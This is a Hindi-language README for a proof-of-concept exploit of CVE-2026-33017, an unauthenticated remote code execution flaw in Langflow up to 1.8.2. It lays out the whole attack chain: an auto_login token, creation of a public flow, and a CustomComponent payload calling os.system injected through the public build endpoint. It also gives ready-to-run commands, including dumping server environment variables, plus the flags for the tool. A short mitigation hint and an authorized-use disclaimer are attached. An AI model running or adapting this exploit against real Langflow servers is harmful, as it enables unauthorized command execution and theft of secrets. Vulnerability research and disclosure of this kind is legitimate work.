
CVE-2026-33017 के लिए अवधारणा-प्रमाण शोषण, जो सार्वजनिक बिल्ड एंडपॉइंट्स के माध्यम से दुर्भावनापूर्ण CustomComponent इंजेक्शन के जरिए Langflow में अप्रमाणित रिमोट कोड निष्पादन प्रदर्शित करता है।
CVE ID: CVE-2026-33017
प्रभावित सॉफ्टवेयर: Langflow
संवेदनशील संस्करण: <= 1.8.2
स्थिर संस्करण: >= 1.9.0
गंभीरता: Critical
लेखक: r3nsi15
तिथि: 2026
Langflow एक सार्वजनिक फ्लो बिल्ड एंडपॉइंट (/api/v1/build_public_tmp/{flowID}/flow) को उजागर करता है जो मनमाना CustomComponent कोड ब्लॉक स्वीकार करता है और उन्हें प्रमाणीकरण के बिना सर्वर-साइड निष्पादित करता है। एक अप्रमाणित हमलावर CustomComponent नोड के code फ़ील्ड में एक दुर्भावनापूर्ण Python पेलोड इंजेक्ट करके Langflow सर्वर प्रक्रिया के विशेषाधिकारों के साथ मनमाना ऑपरेटिंग सिस्टम कमांड चला सकता है।
हमला श्रृंखला पहले /api/v1/auto_login एंडपॉइंट का दुरुपयोग करती है, जो Langflow अपनी डिफ़ॉल्ट ऑटो-लॉगिन कॉन्फ़िगरेशन में चलने पर क्रेडेंशियल्स की आवश्यकता के बिना एक बियरर टोकन जारी करता है। फिर यह उस टोकन का उपयोग करके एक अस्थायी सार्वजनिक फ्लो बनाता है और बिल्ड एंडपॉइंट के माध्यम से सर्वर-साइड कोड निष्पादन को ट्रिगर करता है।
फ़ाइल: CVE-2026-33017_POC.py
requests लाइब्रेरीpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
कोड निष्पादन सत्यापित करें:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
सर्वर पर्यावरण चर प्राप्त करें:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
शोषण के बाद फ्लो को जीवित रखें (सफाई छोड़ें):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
एक्सप्लॉइट निम्नलिखित Python स्निपेट को CustomComponent नोड के code फ़ील्ड में इंजेक्ट करता है:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - गतिशील रूप से os मॉड्यूल आयात करता है और सर्वर पर हमलावर द्वारा आपूर्ति किए गए शेल कमांड को निष्पादित करता है।CustomComponent है जो पार्स त्रुटि उत्पन्न किए बिना Langflow के कम्पोनेंट लोडर को संतुष्ट करने के लिए आवश्यक है।PUBLIC के रूप में बनाया गया है और बिल्ड एंडपॉइंट को इसके सार्वजनिक एंडपॉइंट पर आमंत्रित किया जाता है, जिसका अर्थ है कि निष्पादन को ट्रिगर करने के लिए कोई सत्र कुकी या प्रमाणीकरण टोकन आवश्यक नहीं है।Langflow का CustomComponent सिस्टम फ्लो परिभाषा के भाग के रूप में मनमाना Python कोड सबमिट करने की अनुमति देता है। /api/v1/build_public_tmp/{flowID}/flow एंडपॉइंट इस कोड को सर्वर-साइड बनाता है और आंशिक रूप से मूल्यांकन करता है, जिसमें मॉड्यूल-स्तरीय कथन शामिल हैं, बिना सैंडबॉक्सिंग या Python बिल्ट-इन जैसे __import__ तक पहुंच को प्रतिबंधित किए।
1. GET /api/v1/auto_login → बियरर टोकन प्राप्त करें (कोई क्रेडेंशियल आवश्यक नहीं)
2. POST /api/v1/flows/ → एक PUBLIC फ्लो बनाएँ (बियरर टोकन)
3. POST /api/v1/build_public_tmp/ → दुर्भावनापूर्ण CustomComponent इंजेक्ट और निष्पादित करें (कोई प्रमाणीकरण नहीं)
4. DELETE /api/v1/flows/{id} → सफाई (वैकल्पिक)
सभी चार चरण एक डिफ़ॉल्ट Langflow डिप्लॉयमेंट के विरुद्ध एक अनाम हमलावर द्वारा किए जा सकते हैं।
LANGFLOW_AUTO_LOGIN=false).यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस स्क्रिप्ट का उपयोग अवैध और अनैतिक है। लेखक और योगदानकर्ता दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं।
| एंडपॉइंट | विधि | प्रमाणीकरण आवश्यक | उद्देश्य |
|---|
/api/v1/auto_login | GET | नहीं | बियरर टोकन प्राप्त करें (ऑटो-लॉगिन सक्षम होना चाहिए) |
/api/v1/flows/ | POST | हाँ (बियरर) | एक नया फ्लो बनाएँ |
/api/v1/build_public_tmp/{flowID}/flow | POST | नहीं (सार्वजनिक) | बिल्ड ट्रिगर करें — संवेदनशील निष्पादन बिंदु |
/api/v1/flows/{flowID} | DELETE | हाँ (बियरर) | बनाए गए फ्लो को साफ़ करें |
| फ़्लैग | लंबा रूप | आवश्यक | विवरण |
|---|
-u | --url | हाँ | Langflow इंस्टेंस का आधार URL |
-c | --command | हाँ | सर्वर पर निष्पादित करने के लिए OS कमांड |
-d | --delete | नहीं | शोषण के बाद बनाए गए फ्लो को हटाएँ |